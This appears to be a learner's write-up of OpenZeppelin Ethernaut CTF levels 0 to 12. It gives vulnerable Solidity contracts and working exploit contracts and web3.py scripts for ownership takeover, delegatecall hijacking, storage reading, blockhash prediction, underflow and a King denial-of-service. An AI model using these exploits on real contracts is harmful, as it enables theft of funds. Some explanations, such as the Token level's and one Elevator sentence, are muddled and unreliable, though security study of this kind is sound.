This series is a record of challenges from the OpenZeppelin Ethernaut CTF, aimed at learning Solidity security while playing.
#0 Hello Ethernaut#
1. Set up MetaMask#
Install the MetaMask extension, briefly.
2. Open the browser's console#
Enter player
to view your wallet address.
3. Use the console helpers#
Call getBalance(player)
for interaction.
4. The ethernaut contract#
Enter ethernaut
to view contract information.
5. Interact with the ABI#
The contract's ABI interface exposes the contract's public methods, allowing for simple interactions like ethernaut.owner()
.
6. Get test ether#
Get ETH from the faucet.
https://faucets.chain.link/rinkeby
7. Getting a level instance#
Generate a contract instance.
8. Inspecting the contract#
9. Interact with the contract to complete the level#
Follow the instructions for layered calls.
Win!
Attached is the complete contract code provided after clearing the level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
#1 Fallback#
Contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Winning Conditions
- Gain ownership of this contract.
- Reduce its balance to 0.
This may help
- How to send ether by interacting with ABI.
- How to send ether outside of ABI.
- Convert wei/ether units (see
help()
command). - Fallback method.
First, observe the contract. To gain ownership, you need to make owner=msg.sender
.
Aside from the constructor, only two entry points satisfy this.
Next, analyze the possibilities of triggering.
In contribute()
, msg.sender
needs to have a contribution greater than owner
, and owner
's contribution is 1000eth
, so it's difficult to utilize this function.
Now, let's look at the receive()
function, which only requires triggering this function and ensuring that msg.value
and msg.sender
's contribution is greater than 0.
The triggering of receive()
and fallback
can be represented in the following diagram.
Trigger fallback() or receive()?
Receive ETH
|
Is msg.data empty?
/ \
Yes No
/ \
Does receive() exist? fallback()
/ \
Yes No
/ \
receive() fallback()
So the overall attack strategy is as follows
-
First call
contribute()
while settingmsg.value < 0.001 eth
. -
Call transfer, setting
msg.value = 0.0001
(just greater than 0) to triggerreceive()
. -
Call
withdraw()
, emptying the contract.
Attack Process
Then check.
#2 Fallout#
Contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
Winning Conditions
- Gain ownership of the contract.
Contract Analysis
This contract implements a deposit, withdrawal, and balance inquiry function.
Like the previous question, to gain ownership, we need to focus on the owner = msg.sender
code.
Upon careful comparison, we find that Fal1out()
and Fallout
differ by one character, so this contract has no constructor, and Fal1out()
merely exists as a public method. Therefore, we just need to call this function.
Attack Process
By checking the owner
address, we can confirm our analysis.
Call and complete the attack to gain ownership of the contract.
Win!
#3 Coin Flip#
Contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Winning Conditions
consecutiveWins
greater than 10.
Contract Analysis
The value of FACTOR is essentially 2^255, allowing the block's hash to randomly distribute to true/false.
The most crucial point in attacking this contract is knowing its blockValue
.
Since we can only obtain the current block through block.number
, and transactions in the Ethereum network are continuously ongoing, the next transaction's block will likely change.
However, if we can control the time difference between the attack contract and the attacked contract's transactions to be minimal, we can ensure that both transactions belong to the same block.
By first calculating the current blockValue
and coinFlip
in the attack contract, we can then call the attacked contract's flip()
, ensuring that each guess is correct. After calling it ten times, we can make consecutiveWins
greater than 10.
Exp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '../SafeMath.sol';
// Utilize the feature of multiple transactions in the same block
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
using SafeMath for uint256;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip hackFilp;
function Target(address target) public {
hackFilp = CoinFlip(target);
}
function flip() public {
uint blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue){
revert();
}
lastHash = blockValue;
uint coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if(side == true){
// Call the attacked contract's flip function flip(true);
hackFilp.flip(true);
}else{
// Call the attacked contract's flip function flip(false);
hackFilp.flip(false);
}
}
}
Attack Process
Get the attacked contract address.
Deploy the attack contract and initialize Target
.
After calling flip()
once.
Call it continuously 10 times.
Win!!
#4 Telephone#
Exam Content: tx.origin
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Conditions for Passing#
- Gain ownership of the contract.
Contract Analysis#
The entire contract code is short, and a concept we haven't encountered before, tx.origin
, appears. Its value traverses the entire call stack and returns the address of the account that initially sent the call (or transaction).
Thus, we just need to ensure that the address calling changeOwner
is not the same as the msg.sender
of the attacked contract.
We can achieve this by deploying an attack contract to achieve indirect calling.
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
Telephone hackTelphone;
function Init(address _address) public{
hackTelphone = Telephone(_address);
}
function attack() public {
hackTelphone.changeOwner(msg.sender);
}
}
Attack Process#
Get the attacked contract's address.
Deploy the attack contract and call attack()
.
When checking contract.owner
, we find it has changed.
Win!!
#5 Token#
Exam Content: External Accounts and Contract Accounts, Integer Overflow
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
Conditions for Passing#
- Increase the number of tokens in hand.
Contract Analysis#
This is still an issue of external accounts and contract accounts; an external account can create multiple contract accounts.
Here is an explanation from CTFWIKI.
Here we can call to transfer the initial token
from the contract account to the external account.
Exp#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token { // Difference between external accounts and contract accounts
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract Attack {
Token hackToken;
function init(address _addr) public {
hackToken = Token(_addr);
}
function hack() public {
hackToken.transfer(msg.sender,5);
}
}
Attack Process#
Get the attacked contract address.
Deploy the attack contract.
Find that the external account's token quantity has changed.
Win!!
Side Note - Integer Overflow Vulnerability#
It is worth noting that here the version is less than 0.8.0, and if the safeMath
library is not used, there will be an integer overflow vulnerability.
We can modify the attack code to the following form.
It can be found that we can bypass this check, i.e., 20-21=2^256-1
.
#6 Delegation#
Exam Content: Delegation Attack
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Conditions for Passing#
- Change the owner of the Delegation contract to the Attacker's.
Pre-Knowledge (Three Ways of Contract Calling)#
_Name(_Address).f() Form#
Typically, a reference to a contract is created using the contract's address and contract code (ABI interface): _Name(_Address)
, where _Name
is the contract name, and _Address
is the contract address. Then, the contract's reference is used to call its function: _Name(_Address).f()
, where f()
is the function to be called.
Call#
call
is a low-level member function of the address
type that is used to interact with other contracts. Its return value is (bool, data)
, corresponding to whether the call was successful and the return value of the target function.
Usage Rules for Call
:
Target contract address.call{value: amount to send, gas: gas amount}(abi.encodeWithSignature("function signature", comma-separated specific parameters))
Delegatecall#
The usage rules for Delegatecall
are similar to Call
, but a significant difference is the execution context.
Execution Context of Call
Execution Context of DelegateCall
Contract Analysis#
The question provides two contracts: one is the Delegate
contract, which is the contract to be executed, and the other is the Delegation
contract, which delegates execution to another.
First, let's analyze the Delegate
contract. The content of this contract is simple, with the only notable function being pwn()
, which can change the owner
and is the function to prioritize.
Next, let's look at the Delegation
contract, which performs a DelegateCall
operation. We need to trigger this, specifically the fallback()
function. To trigger the fallback()
function, we need to call a non-existent function, which can be replaced by the pwn()
function to complete the entire trigger chain.
Exp#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x0f5343F75EFF3d28F32954E2497F3f3Ddadb9837'
vul_abi = [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "pwn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="pwn()")[0:10]
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
Reference: WTF Academy
#7 Force#
Exam Content: Selfdestruct Attack
Contract Code#
The contract has no content!
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Conditions for Passing#
- Make the contract's balance > 0.
Pre-Knowledge#
Regarding Selfdestruct, you can see SlowMist's article, I won't elaborate here.
Contract Analysis#
In short, use a contract's Selfdestruct to force a transfer.
EXP#
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0-0.8.15;
contract Attack {
constructor() public payable{} // Allow receiving ETH upon deployment to later transfer to the attacked contract via Selfdestruct.
function attack(address addr) public {
selfdestruct(addr);
}
}
Win!
#8 Vault#
Exam Content: Access Private Data
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Conditions for Passing#
- Set
locked = false
.
Pre-Knowledge#
For accessing private data, you can see SlowMist's article, I won't elaborate here.
Contract Analysis#
In short, access the data located in the password
slot.
EXP#
from web3 import Web3
rpc_url = 'https://sepolia.infura.io/v3/{}' # fill with your rpc_url
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = '' # fill with your private_key
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0x2A6A452B0E0aB8F4dD9d6C210853D21B389684E7'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes32",
"name": "_password",
"type": "bytes32"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot1 = w3.eth.get_storage_at(vul_addr,0x1)
password=w3.toHex(slot1)
TransactionData ={
'chainId': w3.eth.chain_id,
'from': account.address,
'to':vul_addr,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei'),
'data':w3.keccak(text="unlock(bytes32)")[0:10] + password[2:]
}
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)
Win!
#9 King#
Exam Content: Conditions for Contract Accounts to Receive Ether
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Conditions for Passing#
- Break the contract so that the king's address cannot be changed.
Pre-Knowledge#
For a contract account to receive ETH, it must have a defined and implemented receive
or fallback
function. If a newly created contract account wants to receive ETH from the start, the payable
attribute must be added to the constructor.
Contract Analysis#
This contract is essentially a game of hot potato; the last person to send ETH to the contract receives the previous person's ETH. We need to break this contract's functionality, ensuring that the King's address cannot change. To do this, we need to send more ETH than the prize amount and ensure that the sending account cannot receive transfers from the transfer
function.
Attack Process#
Get the prize amount.
await contract.prize().then(v => v.toString())
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
contract Attacker {
constructor(address payable _to) payable {
(bool success, ) = address(_to).call{value: msg.value}(""); // msg.value should > 1000000000000000
require(success, "failed");
}
}
Win!
#11 Elevator#
Keyword: Interface
Smart Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Passing Conditions#
- Make the value of
top
variable true.
Pre-Knowledge#
The concept of Interface is similar to that of other languages, so I won't go into it here.
For the following contract, if the contract address addr(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D)
has the implementation of the Interface-related function, when the function defined in the Interface is called by the variable BAYC
exemplified by the interface, the interaction will follow the logic of the implementation in the above contract address.
contract interactBAYC {
// Create interface contract variables using BAYC addresses (ETH Main NetWork)
IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
// Call BAYC's balanceOf() through the interface to query the position
function balanceOfBAYC(address owner) external view returns (uint256 balance){
return BAYC.balanceOf(owner);
}
// Call BAYC's safeTransferFrom() safe transfer via the interface
function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{
BAYC.safeTransferFrom(from, to, tokenId);
}
}
This also creates a point of insecurity where we must keep track of whether there are risky implementations during the instantiation of interface contract variables.
And we can also define our own interface to an already existing contract and then instantiate it to call it, which also belongs to a function call approach.
Smart Contract Analysis#
Seeing the contract in this question, we can see that according to the logic of goTo
, top can never be true
. If we write an attack contract and implement the isLastFloor
function in the attack contract, so that the call to building.isLastFloor
returns false
at the beginning and true
at the second time, we can meet the requirement of false
. returns true
, it will be satisfied.。
EXP#
interface ElevatorInterface{
function goTo(uint) external;
}
contract Attack {
bool public top = false;
function isLastFloor(uint) external returns (bool){
bool first = top;
top = !top;
return first;
}
function hack(uint addr) public {
ElevatorInterface(addr).goTo(0);
}
}
#12 Privacy#
Keyword: Private Data Access
Contract Code#
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Conditions for passing the level#
- Make
locked = false
.
Pre-knowledge#
For access to private data you can see SlowMist's article,I won't go into details here.
Smart Contract Analysis#
Just get bytes16(data[2])
.
EXP#
from web3 import Web3
rpc_url = ''
w3 = Web3(Web3.HTTPProvider(rpc_url))
assert w3.isConnected()
private_key = ''
account = w3.eth.account.privateKeyToAccount(private_key)
vul_addr = '0xf487e9888E58bBA039dD51ae9AEBB28F04fAfBFB'
vul_abi = [
{
"inputs": [
{
"internalType": "bytes32[3]",
"name": "_data",
"type": "bytes32[3]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "ID",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xb3cea217"
},
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function",
"constant": "true",
"signature": "0xcf309012"
},
{
"inputs": [
{
"internalType": "bytes16",
"name": "_key",
"type": "bytes16"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function",
"signature": "0xe1afb08c"
}
]
vul_contarct = w3.eth.contract(address=vul_addr, abi=vul_abi)
slot5 = w3.eth.get_storage_at(vul_addr,0x5)
_key = int(w3.toHex(slot5)[:34],16)
TransactionData = vul_contarct.functions['unlock'](w3.toBytes(_key)).buildTransaction({
'chainId': w3.eth.chain_id,
'from': account.address,
'gas': 3000000,
'gasPrice': w3.toWei(7000000000,'wei'),
'nonce': w3.eth.getTransactionCount(account.address),
'value': w3.toWei(0,'wei')
})
signed_txn = w3.eth.account.signTransaction(TransactionData, private_key)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txrecipet = w3.eth.waitForTransactionReceipt(txn_hash)
print(txrecipet)